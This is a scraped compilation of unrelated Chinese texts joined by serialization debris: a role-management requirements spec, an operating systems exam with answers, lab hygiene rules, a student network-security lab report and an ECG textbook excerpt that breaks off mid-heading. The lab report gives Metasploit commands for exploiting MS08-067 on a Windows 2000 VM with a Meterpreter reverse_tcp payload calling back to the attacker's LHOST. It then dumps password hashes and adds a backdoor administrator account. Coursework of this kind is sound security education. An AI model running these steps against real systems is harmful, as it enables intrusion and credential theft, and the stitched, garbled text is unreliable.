@#@@#@此页面是点击权限管理后进入的页面，正上方显示着“权限管理”字样；@#@左上方有“查询条件”选择或输入查询条件点击“查询”按钮；@#@正下方以列表的形式列出了查询结果的用户列表及基本信息（选择按钮、权限编号、权限名称、权限Key值、权限创建人编号、权限创建时间、权限描述、修改操作）；@#@列表上方显示页面按钮；@#@点击“添加权限”按钮弹出添加权限界面，填写信息保存。

@#@选中某一条记录点击删除权限，删除该条记录。

@#@点击某条信息的修改按钮弹出修改权限界面，修改权限后点击修改按钮保存。

@#@@#@*注释：

@#@此页面是在点击添加权限按钮（或修改按钮）后出现的添加权限页面，下方以可编辑文本框形式列出了权限编号、权限Key值、权限名称、权限描述；@#@以选择框的形式列出了所属部门；@#@最下方有“添加权限”、“取消”、“修改”按钮。

@#@@#@ @#@@#@【操作流程说明】@#@管理员登录系统------>@#@选择权限管理------>@#@权限管理------>@#@查询@#@------>@#@添加权限@#@------>@#@修改@#@------>@#@删除权限@#@1.1.13算法描述@#@无@#@<@#@角色管理>@#@@#@角色管理：

@#@主要管理系统中所有的角色，并给每一个角色分配需要拥有的权限或删除某些权限。

@#@@#@查询：

@#@查看角色的基本信息和其拥有的权限；@#@@#@添加角色：

@#@添加一个新的角色，并设置其基本信息及权限；@#@@#@修改：

@#@修改某角色的基本信息或者其对各个功能操作的权限；@#@@#@删除角色：

@#@删除某个无用的角色。

@#@@#@1.1.14功能描述@#@功能需求@#@功能名称@#@角色管理@#@优先级@#@高@#@业务背景/功能描述@#@系统需要根据各个用户不同的需求为用户添加角色，以确定用户在系统中面对不同的功能模块有不同的操作权限。

@#@@#@功能说明@#@主要管理系统中所有的角色，并给每一个角色分配需要拥有的权限。

@#@@#@约束条件@#@管理员可以完成全部或部分功能。

@#@@#@业务表单@#@（输入表单和输出表单）@#@表单序号@#@表单名称@#@方向（输入/输出）@#@备注@#@相关查询@#@可根据部门编号、角色名称等进行查询。

@#@@#@需求要点@#@角色管理是管理员可进行全部或部分功能操作，在登录后在权限管理菜单下选取角色管理，根据查询条件查看角色信息并可对该种角色进行修改、删除等操作，管理员还可根据需求添加或删除某些角色。

@#@@#@1.1.15数据描述@#@【输入数据】@#@数据类别@#@数据项（可编辑项或导入）@#@角色@#@角色编码，角色名称，角色创建人编号，角色创建时间，角色描述，部门编号@#@【输出数据】@#@数据类别@#@数据项（不可编辑项或计算结果）@#@角色编码（RoleId）@#@Int@#@角色名称（RoleName）@#@varchar（100）@#@角色创建人编号（RoleCreatorId）@#@Int@#@角色创建时间（RoleCreateTime）@#@datetime@#@角色描述（RoleDescribe）@#@varchar（100）@#@部门编号（DeptId）@#@Int@#@【关键数据项描述】@#@数据项@#@类型@#@长度@#@取值范围@#@补充说明@#@角色编码@#@Int@#@数字@#@由系统自动生成，例：

@#@1@#@角色名称@#@varchar（100）@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@角色创建人编号@#@Int@#@数字@#@例：

@#@123@#@角色创建时间@#@datetime@#@日期时间@#@例：

@#@2011-10-1117:

@#@22@#@角色描述@#@varchar（100）@#@100@#@汉字、数字、字母@#@例：

@#@张三123AB@#@部门编号@#@Int@#@数字@#@例：

@#@123@#@1.1.16界面描述@#@【界面说明】@#@图5.3.1角色管理主界面@#@角色管理包含添加角色、显示查看、修改、删除等四个功能点。

@#@@#@删除：

@#@将选中的该条数据删除；@#@@#@添加用户：

@#@添加一条数据，需要打开一个界面填写好，然后添加；@#@@#@查询：

@#@根据查询条件查询角色的基本信息；@#@@#@查询结果：

@#@显示查询结果；@#@@#@修改：

@#@点击需要修改对象的修改按钮，弹出新界面，修改后保存。

@#@@#@*注释：

@#@此页面是点击角色管理后进入的页面，正上方显示着“角色管理”字样；@#@左上方有“查询条件”选择或输入查询条件点击“查询”按钮；@#@正下方以列表的形式列出了查询结果的用户列表及基本信息（角色编码、角色名称、部门编码、角色创建人编号、角色创建时间、角色描述、角色权限管";i:

3;s:

15736:

"重庆理工大学计算机操作系统考试@#@1.产生死锁的四个必要条件是_互斥条件________，__请求和保持条件_______，____不剥夺条件_____和___环路等待条件______。

@#@@#@2．临界区是指_在每个进程中访问临界资源的那段代码______________。

@#@@#@3．按照设备的共享属性可将I/O设备分为_独占设备________，____共享设备_____和_____虚拟设备____。

@#@@#@4．并发性是指两个或多个事件在__同一时间间隔___发生。

@#@@#@5．对磁盘的访问时间可分为__寻道时间_______，__旋转延迟时间_______和__传输时间_______；@#@其中，磁盘调度的目标主要是减少__访问磁盘_的平均时间。

@#@@#@6．连续分配方式会形成碎片____，这可通过紧凑方法来解决。

@#@@#@7．解决通道中“瓶颈”问题最有效的方法是_增加设备到主机间的通路而不增加通道_。

@#@@#@8．所有同步机制都应遵循的四条准则是：

@#@空闲让进、忙则等待、_有限等待________、___让权等待______。

@#@@#@9．程序顺序执行时的特征有：

@#@顺序性、__封闭性_______和__可再现性_______。

@#@@#@10．引起进程从执行态到就绪态的条件是_因分配给它的时间片已完而暂停执行____。

@#@@#@1、操作系统的发展过程是（）@#@A设备驱动程序组成的原始操作系统，管理程序，操作系统@#@B原始操作系统，操作系统，管理程序@#@C管理程序，原始操作系统，操作系统@#@D管理程序，操作系统，原始操作系统@#@2、当前进程因时间片用完而让出处理机时，该进程应转变为（）状态。

@#@@#@A就绪B.等待C.运行D.完成@#@3、虚存最重要的特征是（），因为任何其他的存储方式都不具有这一特征。

@#@A对换性B.多次性C.虚拟性D.驻留性@#@4、以下哪项不是程序并发执行时具有的特征：

@#@@#@A间断性B失去封闭性C.可再现性D.不可再现性@#@5、动态重定位的地址变换是在作业（）时进行的。

@#@@#@A.执行B..装入C.编译.D.修改@#@6、一种既有利于短小作业又兼顾到长作业的作业调度算法是（）@#@A..先来先服务B.轮转C.最高响应比优先D.均衡调度@#@7、磁盘调度的SSTF（最短寻道时间优先）算法的缺点是：

@#@@#@A.平均寻道距离较大.B.存在进程饥饿现象.C.实现复杂@#@8、以下哪项不属于SPOOLing系统:

@#@@#@A.输入/出井B..输入/出缓冲区C.输入/出进程D.输入/出设备@#@9、以下哪项不是进程的特征：

@#@@#@A.动态性B.并发性C并行性D独立性@#@10、外存分配方式不包括：

@#@@#@A.连续分配B.链接分配C.动态分配D.索引分配@#@产生死锁的原因：

@#@@#@1.互斥条件@#@2.请求和保持条件@#@3.不可剥夺条件@#@4.环路等待条件@#@同步机制的四大准则：

@#@@#@1．空闲让步@#@2．忙则等待@#@3．有限等待@#@4．让权等待@#@程序顺序执行的特征：

@#@顺序性、封闭性，可再现性@#@虚拟存储器的三大主要特征：

@#@多次、对换、虚拟和离散@#@设系统中有一类数量为M的独占型资源，系统中N个进程竞争该类资源，其中各进程对该类资源的最大需求量为W。

@#@当M、N、W分别取下列值时，试判断哪些情形可能会发生死锁？

@#@为什么？

@#@@#@1、M=2，N=2，W=1@#@2、M=3，N=2，W=2@#@3、M=3，N=2，W=3@#@4、M=5，N=3，W=2@#@已分配的资源最大需求量剩余资源@#@ABCABCABC@#@P1010753332@#@P2200322@#@P3302902@#@P4211222@#@P5002433@#@问题:

@#@此状态是否为安全状态，如果@#@是,则找出安全序列@#@在此基础上@#@P2申请（1，0，2）能否分配？

@#@为什么？

@#@@#@P5申请（3，3，0）能否分配？

@#@为什么？

@#@@#@P1申请（0，2，0）能否分配？

@#@为什么？

@#@@#@一个分段存储管理系统中，地址长度是32位，其中段号占8位，则最大段长是@#@A、28字节B、216C、224D、232@#@2、在分页系统中，地址结构长度为16位，页面大小为2K，作业地址空间为6K，该作业的各页依次存放在2,3,6号物理地址块中，相对地址2500处有一条指令Store1,4500,该指令的物理单元及数据存放的物理单元是@#@A、6596,12692B、4548,10644@#@C、8644,12692D、6596,10644@#@有三个进程P1，P2和P3并发工作。

@#@进程P1需用资源S3和S1；@#@进程P2需用资源S1和S2；@#@进程P3需用资源S2和S3。

@#@回答：

@#@@#@

（1）若对资源分配不加限制，会发生什么情况?

@#@为什么?

@#@@#@

（2）为保证进程正确工作，应采用怎样的资源分配策略?

@#@@#@某程序在内存中分配三个页面，初始为空，页面走向为4，3，2，1，4，3，5，4，3，2，1，5，按FIFO、LRU、OPT算法分别计算缺页次数（假设开始时所有页均不在内存）@#@FIFO432143543215@#@页1444111555555@#@页233344444222@#@页32223333311@#@xxxxxxxÖ@#@Ö@#@xxÖ@#@@#@共缺页中断9次@#@LRU432143543215@#@页1444111555222@#@页233344444411@#@页32223333335@#@xxxxxxxxxx@#@共缺页中断10次@#@OPT432143543215@#@页1444444444221@#@页233333333312@#@页32111555555@#@xxxxÖ@#@xÖ@#@xxÖ@#@@#@共缺页中断7次@#@某文件占10个磁盘块，现要把该文件磁盘块逐个读入主存缓冲区，并送用户区进行分析，假设一个缓冲区与一个磁盘块大小相同，把一个磁盘块读入缓冲区的时间为100us，将缓冲区的数据传送到用户区的时间是50us，CPU对一块数据进行分析的时间为50us。

@#@在单缓冲和双缓冲结构下，读入并分析完该文件的时间分别是@#@A、1500us、1000usB、1550us、1100us@#@C、1550us、1550usD、2000us、2000us@#@本地用户通过键盘登录系统时，首先获得键盘输入信息的程序是（）@#@A.命令解释程序@#@B.中断解释程序@#@C.系统调用程序@#@D.用户登陆程序@#@用户程序发出磁盘I/O请求后，系统的正确处理流程是@#@A、用户程序→系统调用处理程序→中断处理程序→设备驱动程序@#@B、用户程序→系统调用处理程序→设备驱动程序→中断处理程序@#@C、用户程序→设备驱动程序→系统调用处理程序→中断处理程序@#@D、用户程序→设备驱动程序→中断处理程序→系统调用处理程序@#@设磁盘有200个磁道，磁盘请求队列中是一些随机请求，它们按照到达的次序分别处于55、58、39、18、90、160、150、38、184号磁道上，当前磁头在100号磁道上，并想磁道号增加的方向上移动。

@#@请给出FCFS、SSTF、SCAN及CSCAN算法进行磁盘调度时满足，并计算出它们的平均寻道长度。

@#@@#@1）先来先服务FCFS（First-Come,FirstServed）@#@（55、58、39、18、90、160、150、38、184）@#@2）最短寻道时间优先SSTF（ShortestSeekTimeFirst）@#@（90、58、55、39、38、18、150、160、184）@#@3）SCAN算法（扫描算法）@#@（150、160、184、90、58、55、39、38、18）@#@4）CSCAN算法（循环扫描算法）@#@（150、160、184、18、38、39、55、58、90）@#@假设计算机系统采用CSCAN（循环扫描）磁盘调度策略,使用2KB的内存空间记录16384个磁盘的空闲状态@#@

（1）、请说明在上述条件如何进行磁盘块空闲状态的管理。

@#@@#@

（2）、设某单面磁盘的旋转速度为每分钟6000转，每个磁道有100个扇区，相临磁道间的平均移动的时间为1ms.若在某时刻，磁头位于100号磁道处，并沿着磁道号增大的方向移动（如下图所示）,磁道号的请求队列为50，90，30，120对请求队列中的每个磁道需读取1个随机分布的扇区，则读完这个扇区点共需要多少时间？

@#@需要给出计算过程。

@#@@#@

（1）2KB=2*1024*8bit=16384bit。

@#@因此可以使用位图法进行磁盘块空闲状态管理，每1bit表示一个磁盘块是否空闲。

@#@@#@

（2）每分钟6000转，转一圈的时间为0.01s，通过一个扇区的时间为0.0001s。

@#@根据CSCAN算法，被访问的磁道号顺序为100120305090,因此，寻道用去的总时间为：

@#@（20+90+20+40）*1ms=170ms总共要随机读取四个扇区，用去的时间为：

@#@（0.01*0.5+0.0001）*4=0.0204s=20.4ms所以，读完这个扇区点共需要170ms+20.4ms=190.4ms@#@已知某磁盘的平均转速为r秒/转，平均寻道时间为T秒，每个磁道可以存储的字节数为N，现向该磁盘读写b字节的数据，采用随机寻道的方法，每道的所有扇区组成一个簇，请问：

@#@平均访问时间是@#@A．b/N*（r+T）B、b/N*T@#@C、（b/N+T）*rD、b*T/N+r@#@在FAT12文件系统下，大小为1.2MB的软盘使用一张FAT，软盘每个盘块大小为512B，问FAT表所占用的存储空间为多少？

@#@@#@1.2M/0.5K*12b=3.6KB@#@一个磁盘支持4个分区，每个分区包含一张FAT表，文件系统支持的最大磁盘容量是多少？

@#@@#@4096*512B*4=8MB@#@设文件索引节点中有7个地址项，其中4个地址为直接地址索引，1个地址项是二级间接地址索引，每个地址项的大小为4字节，若磁盘索引块和磁盘数据块大小均为256字节，则可表示的单个文件最大长度是（）@#@A33KBB519KB@#@C1057KBD16513KB@#@设当前工作目录的主要目的是（）@#@A.节省外存空间@#@B.节省内存空间@#@C.加快文件的检索速度@#@D.加快文件的读写速度@#@1．简述整形信号量的物理含义和P，V操作的物理含义@#@PV操作的含义：

@#@PV操作由P操作原语和V操作原语组成（原语是不可中断的过程），对信号量进行操作，具体定义如下：

@#@@#@P（S）：

@#@①将信号量S的值减1，即S=S-1；@#@@#@②如果S>@#@=0，则该进程继续执行；@#@否则该进程置为等待状态，排入等待队列。

@#@@#@V（S）：

@#@①将信号量S的值加1，即S=S+1；@#@@#@②如果S>@#@0，则该进程继续执行；@#@否则释放队列中第一个等待信号量的进程。

@#@@#@PV操作的意义：

@#@我们用信号量及PV操作来实现进程的同步和互斥。

@#@PV操作属于进程的低级通信@#@2、简述引入缓冲的主要原因。

@#@（3分）@#@在操作系统中，引入缓冲的主要原因，可归结为以下几点：

@#@@#@1.改善CPU与I/O设备间速度不匹配的矛盾@#@例如一个程序，它时而进行长时间的计算而没有输出，时而又阵发性把输出送到打印机。

@#@由于打印机的速度跟不上CPU，而使得CPU长时间的等待。

@#@如果设置了缓冲区，程序输出的数据先送到缓冲区暂存，然后由打印机慢慢地输出。

@#@这时，CPU不必等待，可以继续执行程序。

@#@实现了CPU与I/O设备之间的并行工作。

@#@事实上，凡在数据的到达速率与其离去速率不同的地方，都可设置缓冲，以缓和它们之间速度不匹配的矛盾。

@#@众所周知，通常的程序都是时而计算，时而输出的。

@#@@#@2.可以减少对CPU的中断频率，放宽对中断响应时间的限制@#@如果I/O操作每传送一个字节就要产生一次中断，那么设置了n个字节的缓冲区后，则可以等到缓冲区满才产生中断，这样中断次数就减少到1/n，而且中断响应的时间也可以相应的放宽。

@#@@#@3.提高CPU和I／O设备之间的并行性@#@缓冲的引入可显著提高CPU和设备的并行操作程度，提高系统的吞吐量和设备的利用率。

@#@@#@根据I/O控制方式，缓冲的实现方法有两种:

@#@@#@一种是采用专用硬件缓冲器@#@一种是在内存划出一个具有n个单元的专用缓冲区，以便存放输入/输出的数据。

@#@内存缓冲区又称软件缓冲。

@#@@#@提问者评价@#@缓冲技术可提高外设利用率，尽可能使外设处于忙状态，这个才是我想要的答案@#@3、简述系统调用与一般过程调用的区别。

@#@@#@系统调用与一般过程调用不同，其主要区别是：

@#@@#@1.运行的状态不同。

@#@在程序中的过程一般或者都是用户程序，或者都是系统程序，即都是运行在同一个系统状态的（用户态或系统态）。

@#@@#@2.进入的方式不同。

@#@一般的过程调用可以直接由调用过程转向被调用的过程。

@#@而执行系统调用时，由于调用过程与被调用过程是处于不同的状态，因而不允许由调用过程直接转向被调用过程，通常是通过访问管中断（即软中断）进入，先进入操作系统，经分析后，才能转向相应的命令处理程序。

@#@@#@3.返回方式的不同。

@#@@#@4.代码层次不同。

@#@一般过程调用中的被调用程序是用户级程序，而系统调用是操作系统中的代码程序，是系统级程序。

@#@@#@1、某程序在内存中分配三个页面，初始为空，页面走向为1，5，4，1，2，3，2，1，5，4，2，4，6，5，1，分别计算FIFO、LRU（最近最久未使用置换算法）、OPT算法的缺页次数。

@#@（10分）@#@2．根据下列的并行程序来画出进程的前趋图（10分）@#@vara,b,c,d,e,f,g,h，i,j:

@#@semaphore:

@#@=0,0,0,0,0,0,0,0;@#@@#@begin@#@parbegin@#@beginS1;@#@V（a）;@#@V（b）;@#@end@#@beginP（a）;@#@S2;@#@V（c）;@#@V（d）;@#@end@#@beginP（b）;@#@S3;@#@V（e）;@#@V（f）;@#@end@#@beginP（C）;@#@S4;@#@V（g）;@#@end@#@beginP（d）;@#@S5;@#@V（h）;@#@end@#@beginP（e）;@#@S6;@#@V（i）;@#@end@#@beginP（f）;@#@S7;@#@V（j）;@#@end@#@beginP（g）;@#@P（h）;@#@P（i）;@#@P（j）;@#@S8;@#@end@#@parend@#@end@#@3、某系统采用段式存储管理，一个作业由五段组成，其段表如下所示：

@#@@#@段号@#@基地址@#@长度@#@0@#@129@#@600@#@1@#@2300@#@78@#@2@#@90@#@100@#@3@#@1327@#@580@#@4@#@1952@#@96@#@

（1）算出这个作业总的长度。

@#@@#@

（2）若给出逻辑地址[0,43],[1,10],[2,90],[3,400],[4,60]，计算出相应的内存地址。

@#@（方括号内第一个元素为段号，第二个元素为段内相对地址）。

@#@@#@4、在下面的程序空白处填空，以模拟生产者-消费者问题@#@5、设有两个优先级相同的进程P1和P2如下，S1和S2初值均为0，求：

@#@P1，P2并发执行结束后，x,y,z分别是多少？

@#@（要求写出分析过程）（10分）@#@解：

@#@因为P1、P2是并发进程，所以P1和P2调度顺序不确定。

@#@假设P1先执行，当P1执行到P（s2）时，s2=-1，P1阻塞，此时y=3,z=4;@#@当调度程序调度到P2时，由于进程P1巳执行到了V（s1）,P2在执行P（s1）时，不阻塞而继续执行，当执行到V（s2）时，将P1唤醒，然后执行到最后一个语句，此时x=5,z=9;@#@当P1再次被唤醒、调度时，继续执行P1的最后一处语句，此时y=12.所以最后结果是：

@#@x=5,y=12,z=9.如果P2先执行，结果同上@#@6、有一个具有两道作业的批处理系统,作业调度采用短作业优先的调度算法,进程调度采用以优先数为基础的抢占式调度算法（优先数数值越小优先级越高）,@#@

（1）列出所有作业进入内存时间及结束时间；@#@@#@

（2）计算平均周转时；@#@@#@";i:

4;s:

3727:

"化学馆实验室卫生管理制度@#@为了保证科研工作的顺利进行，实验室必须有一个整洁、卫生、干净的环境，为此制定如下制度：

@#@@#@一、个人基本要求：

@#@@#@1、凡进入实验室者必须保持自身洁净，不准在实验室内吃食物，不准随意丢弃纸屑等脏物；@#@@#@2、每天实验结束后请自觉清理实验台面，将物品归类摆放整齐，台面只允许放置储物柜中无法放置的仪器，无关物品请放置储物柜抽屉中；@#@@#@3、个人保管好自己使用的试剂及仪器，请贴上姓名标签并放置在个人区域，不允许放置在公共区域，否则按公用物品处理；@#@@#@4、使用天平时如药品不慎弄到天平内，请及时处理干净，以免损坏天平（特别注意：

@#@不允许将个人物品堆放在天平周围，否则一律按垃圾处理）；@#@@#@5、个人使用完的空试剂瓶及废弃纸箱，请于当日及时处理掉，不允许堆置在公共区域；@#@@#@6、实验中如果使用有异味或影响实验室安全的物品（如盐酸、硝酸等易挥发的酸类及有机物等），必须在通风橱内进行，并做好尾气收集及排放措施，完毕后通风橱若非实验需要，请将个人实验仪器放置于个人储物柜中，保持通风橱内整洁；@#@@#@7、实验室产生的废液不可随意倒入水槽中，特别是有毒和有气味的液体，请倒入贴好标签的废液桶中分类归放；@#@@#@8、公共区域桌面需保持整洁，使用完的药品、仪器配件等，需及时回归对应的储物柜中。

@#@@#@二、值日生要求：

@#@@#@原则上一周完整值日两次，（建议周一及周四）主要负责如下：

@#@@#@1、清扫地面垃圾，并拖地，有顽固污渍的地方，使用清洁剂反复拖擦至洁净，保持实验室的清洁。

@#@@#@2、用抹布擦拭公共台面及公共仪器设备，例如：

@#@水池旁可将蒸馏水瓶、乙醇瓶摆放整理并加满，方便同学使用；@#@超声泡沫放入个人或公共抽屉中，水池旁严禁堆放杂物；@#@管式炉、天平等台面要擦干净。

@#@@#@3、需按时将实验室垃圾桶倒掉，及时更换垃圾袋，并清理易燃物（如废纸箱等）；@#@@#@4、打扫完卫生后请将卫生用具整齐摆放至相应区域，将拖把涮洗干净、晾干；@#@@#@5、注意检查门窗、水电气开关、通风橱等仪器状态等情况，需要关闭的请及时关闭，节约水电资源，降低安全隐患；@#@@#@6、值日生当天进行清扫之后，需在表格相应位置划勾；@#@@#@7、卫生检查小组每周不定期抽查卫生情况，不合格者加罚一周；@#@@#@8、实验室大扫除须看实验室卫生情况再定时间，在学校的同学都有义务参加大扫除。

@#@@#@该规定于@#@2016年9月26日@#@正式执行@#@化学馆222实验室卫生情况@#@姓名@#@日期@#@值日生签名@#@值日情况@#@周一@#@周二@#@周三@#@周四@#@周五@#@要求：

@#@

（1）值日生保证每天地面清洁、无杂物，保证垃圾桶周围地面清洁，垃圾桶无废液；@#@

（2）值日生周几打扫的卫生，请在当天打扫完后画勾并签名确认，方便其他同学检查。

@#@@#@1、打扫卫生顺序（姓氏首字母排序）：

@#@@#@2、卫生检查小组顺序：

@#@本周同学打扫卫生，其余10名同学都有检查卫生的权利，卫生不合格者顺延一周。

@#@师兄师姐要为师弟师妹做好榜样！

@#@干净的环境有益身体、有益心情、有益实验的顺利进行！

@#@@#@";i:

5;s:

8317:

"@#@实验六报告@#@课程名称@#@网络安全@#@实验@#@成绩@#@实验名称@#@缓冲区溢出攻击与防范实验@#@学号@#@20151681310479@#@姓名@#@郑明毅@#@班级@#@网络工程2班@#@日期@#@2018/6/7@#@实验报告@#@一、实验目的及要求：

@#@@#@1.实验目的@#@通过实验掌握缓冲区溢出的原理；@#@@#@理解缓冲区溢出危险性；@#@@#@理解防范和避免缓冲区溢出攻击的措施。

@#@@#@2.实验要求@#@

（1）利用缓冲区溢出工具或者利用一个简单的溢出C程序进行溢出漏洞攻击@#@

（2）分析缓冲区溢出攻击原理和危害@#@（3）给出防范和避免缓冲区溢出攻击的措施@#@二、实验过程及要点：

@#@@#@实验过程:

@#@@#@MS08-067（WindowsServer服务RPC请求缓冲区溢出漏洞）远程缓冲区溢出攻击测试@#@1 @#@网络测试环境构建 @#@@#@首先需要先配置好一个渗透测试用的网络环境，包括如图1所示的运行win10系统的计算机，如图2所示的Windows2000系统（虚拟机环境下）的计算机。

@#@显然这2台计算机处于同一个网段中，可以相互通讯，win10系统用作攻击机，下面将在此系统上运行Metasploit进行渗透测试，而Windows2000系统都是本次任务中需要进行渗透入侵的靶机，保持安装后的默认状态，没有打额外的系统安全补丁。

@#@@#@图1win10攻击机@#@图2Windows2000靶机@#@2、扫描靶机@#@在正式开始渗透之前，应该对靶机进行扫描探测工作，搞清楚渗透目标的系统类型、开放的端口服务、可能存在的安全漏洞等。

@#@ @#@@#@在win10攻击机上运行metasploitconsole，即可进入Metasploit环境。

@#@@#@现在可以利用MSF框架中集成的Nmap扫描器对渗透测试目标进行扫描，如图3所示，获取了靶机的开放服务和操作系统类型等信息。

@#@@#@图3windows2000扫描结果@#@利用扫描器的脚步插件，还有可能直接探测出目标系统的安全漏洞，例如如图4所示，Nmap利用smb-check-vulns插件扫描探测出了Windows @#@2000靶机存在MS08_067漏洞，命令执行如下：

@#@nmap-script=smb-check-vulns.nse192.168.56.101。

@#@@#@namap扫描的结果里报告发现MS08-067：

@#@DISABLED。

@#@这是在暗示我们或许能够对这台主机进行渗透攻击，然后我们在Metasloit里面找到此漏洞的攻击模块，并尝试攻击目标机器。

@#@MS08-067是一个对操作系统版本依赖非常高的漏洞，所以在这里，我们只自动payload指定一下目标就可以确保触发正确的溢出代码。

@#@@#@图4漏洞扫描结果@#@3利用MS08_067漏洞渗透入侵 @#@@#@MS08-067漏洞的全称为“WindowsServer服务RPC请求缓冲区溢出漏洞”，如果用户在受影响的系统上收到特制的RPC请求，则该漏洞可能允许远程执行代码。

@#@在MicrosoftWindows2000WindowsXP和WindowsServer2003系统上，攻击者可能未经身份验证即可利用此漏洞运行任意代码，此漏洞可用于进行蠕虫攻击，目前已经有利用该漏洞的蠕虫病毒。

@#@防火墙最佳做法和标准的默认防火墙配置，有助于保护网络资源免受从企业外部发起的攻击，默认情况下能建立空连接。

@#@@#@既然已经知道Windows @#@2000靶机存在MS08_067漏洞，下面就在Metasploit环境中利用它进行渗透入侵。

@#@ @#@@#@首先，输入searchms08-067查找与其相关的漏洞攻击程序，并启用该渗透攻击模块查看基本信息，然后，输入useexploit/Windows/smb/ms08_067_netapi命令表示选择利用这个漏洞，如图5所示。

@#@@#@图5选择漏洞@#@如上我们已经驾驭了（ms08_067_netapi）这个漏洞攻击程序，哈哈！

@#@接下来我们要找一找metasploit下的有效攻击荷载（payload），那就使用命令：

@#@showpayloads来查找一下吧！

@#@@#@然后用set命令选择一旦利用漏洞渗透进去使用什么攻击载荷，这里使用MSF框架里功能强大的Meterpreter攻击模块下的反向连接shell载荷，使用命令：

@#@setpayloadwindows/meterpreter/reverse_tcp，执行如图6所示。

@#@@#@图6选择攻击载荷@#@完成渗透攻击模块与攻击载荷模块的选择之后，需要查看配置渗透攻击所需的配置选项，具体命令如下：

@#@showoptions@#@用show @#@options命令查看还有哪些参数需要配置，根据目标情况配置渗透攻击的选项。

@#@如图7所示：

@#@@#@图7需要配置的参数@#@now,现在我们需要设置ip咯，设置命令：

@#@setRHOST192.168.56.101setLHOST172.18.7.191配置本地攻击机和远程靶机的IP地址，如图8所示@#@图8配置参数@#@现在呢，我们基本已设置完成，接下来我们show一下看看自己的配置都在不？

@#@确认一下信息：

@#@（看到了吧，我们的配置没问题吧！

@#@Ip都有了啊！

@#@！

@#@！

@#@）@#@图9检查配置参数@#@所有需要的参数配置好了以后，在进行exploit渗透攻击时，会出现一些状况，有可能渗透不成功，需要在这时候谨慎。

@#@用exploit或run命令发动攻击，如图10所示，渗透成功后，设置的回连主机就是Metasploit攻击主机，攻击主机会获得一个meterpreter控制会话session。

@#@@#@图10成功获取session@#@吼吼！

@#@！

@#@！

@#@成功了！

@#@！

@#@！

@#@已成功拿下对方主机，那么现在你要做什么呢？

@#@好的，告诉你一句话：

@#@好戏开锣咯·@#@·@#@·@#@是时候让你体验一下当黑客的感觉了！

@#@Hello，hacker还等什么呢？

@#@好吧，废话少说，第一个“破坏”玩起！

@#@哈哈！

@#@@#@实例1从靶机拿到的ipconfig/all，如图11@#@图11从靶机拿到的ipconfig/all@#@实例2获得系统当前的进程列表，如图12：

@#@@#@图12windows2000进程列表@#@实例3：

@#@获得当前的工作目录和用户id，如图13：

@#@@#@图13windows2000的工作目录和用户id@#@实例4：

@#@获得目标系统的password @#@hash，如图14：

@#@@#@图14windows2000的passwordhash@#@实例5：

@#@获得目标系统的DOSshell，用了meterpreter的session后，即可用各种命令对远程靶机进行操作，如图15所示。

@#@@#@图15获得windows2000的DOSshell@#@实例6：

@#@那我就和靶机简单比较一下命令：

@#@ipconfig/all吧！

@#@！

@#@！

@#@@#@图16shell拿到的windows2000的ipconfig/all@#@从靶机拿到的ipconfig/all，如图17：

@#@@#@图17靶机拿到的ipconfig/all@#@实例7在目标靶机上新建了一个账号zmy和密码479（这里用的是我的姓名‘郑明毅’学号‘479’），并将其加入到管理员组。

@#@为后续的远程控制提供方便，如图18、19、20所示：

@#@（简单解释一下啊win10截图中所有问号问题：

@#@那是因为汉字编码问题：

@#@可能是UTF-8的缘故吧！

@#@！

@#@！

@#@）@#@图18查看账号@#@图19新建账号@#@图20账号加入管理员组@#@实例8查看3389端口是否打开（这里已经打开了）如图21，然后用mstsc远程桌面连接192.168.56.102（因为windows2000专业版没有3389远程端口，所以我这里又安装了一个windows2000服务器版的系统，ip地址为192.168.56.102用户名zmy密码479）@#@图21查看3389是否打开@#@图22添加用户名zmy密码479并设置为Administrators组@#@启动mstsc远程桌面连接，如图23：

@#@@#@图23远程桌面连接@#@4.防范Ms08-067远程溢出攻击@#@由于这个漏洞是致命的，所以一旦被入侵后果将不堪设想，因此我们可以微软的官方站点，下载编号为KB958644的补丁，对其漏洞进行修补。

@#@再则通过关闭Computerbrowser、server、workstation这三个服务关闭，也可防止黑客远程溢出攻击，当然安装防火墙将安全级别设置为高级，也是一种防止黑客入侵的不错选择。

@#@@#@实验总结@#@总结：

@#@实验结束了，所有的东西总是不会尽善尽美，一些诸如木马，后门之类的功能我并没有实现，原因是本人也是渣渣，望理解，我也继续努力希望有一天可以呈现更高级的漏洞攻击！

@#@@#@指导老师评语：

@#@@#@@#@签名：

@#@@#@@#@年月日@#@";i:

6;s:

17087:

"第三节心律不齐@#@正常的心电激动具有时间周期性，如P波或QRS波群每隔一个固定的时间出现。

@#@心律不齐是指心电激动顺序不整齐，时间周期性被打乱,其P-P间期或R-R间期不相等。

@#@@#@一、过早搏动：

@#@又称期前收缩，是指提前出现的心脏搏动。

@#@这好比一个车站的车辆调度，假定每隔20分钟发出一辆车，但突然有一辆车与前一辆车仅间隔15分钟就发车了，从而使发车顺序被打乱，这个提前发出的车，就相当于心电图上的过早搏动。

@#@@#@过早搏动是由于异位起搏点的自律性增高超过了窦房结的自律性而产生的，根据异位起搏点在心脏中的解剖位置不同，分为房性过早搏动、交界性过早搏动和室性过早搏动。

@#@如果这个异位起搏点连续发出激动，也就是早博连续发生，就构成了心动过速（见心动过速一节）。

@#@@#@

（一）房性过早搏动：

@#@异位起搏点位于心房。

@#@异位起搏点发出激动使整个心房激动产生P波后，激动沿正常径路下传到心室，形成QRS波。

@#@因为心房激动是提前出现的，所以P波也提前出现。

@#@其心电图特点是（图4-13）：

@#@@#@①提前出现的P-QRS波群，P波形状与窦性P波略有不同。

@#@@#@②QRS波群正常（≤0.1s）。

@#@正常R-R间距0.66秒。

@#@@#@提前出现的P波和QRS波群，它与前面QRS波群的R-R间距，小于正常的R-R间距。

@#@@#@提前出现的QRS波群的R-R间距0.46秒。

@#@@#@图4-13房性过早搏动@#@

（二）交界性过早搏动：

@#@异位起搏点位于交界区的心肌组织，它的自律性异常增高。

@#@交界区异位起搏点的激动沿正常途径下传到心室形成QRS波群，也可向上逆传到心房形成逆行P波。

@#@其心电图特征为（图4-14）：

@#@@#@1、提前出现的QRS波，QRS波群的前面或后面可以看到“P波”（P波在Ⅱ导联倒置，称为逆行P′波），也可无P′波；@#@@#@2、如果QRS波之前有逆行P′波，则P′-R间期<@#@0.12s；@#@@#@3、QRS波群正常（<@#@0.1s）@#@提前出现的逆行P′波和QRS波群，它与前面QRS波群的R-R间距，小于正常的R-R间距@#@图4-14交界性过早搏动@#@（三）室性过早搏动：

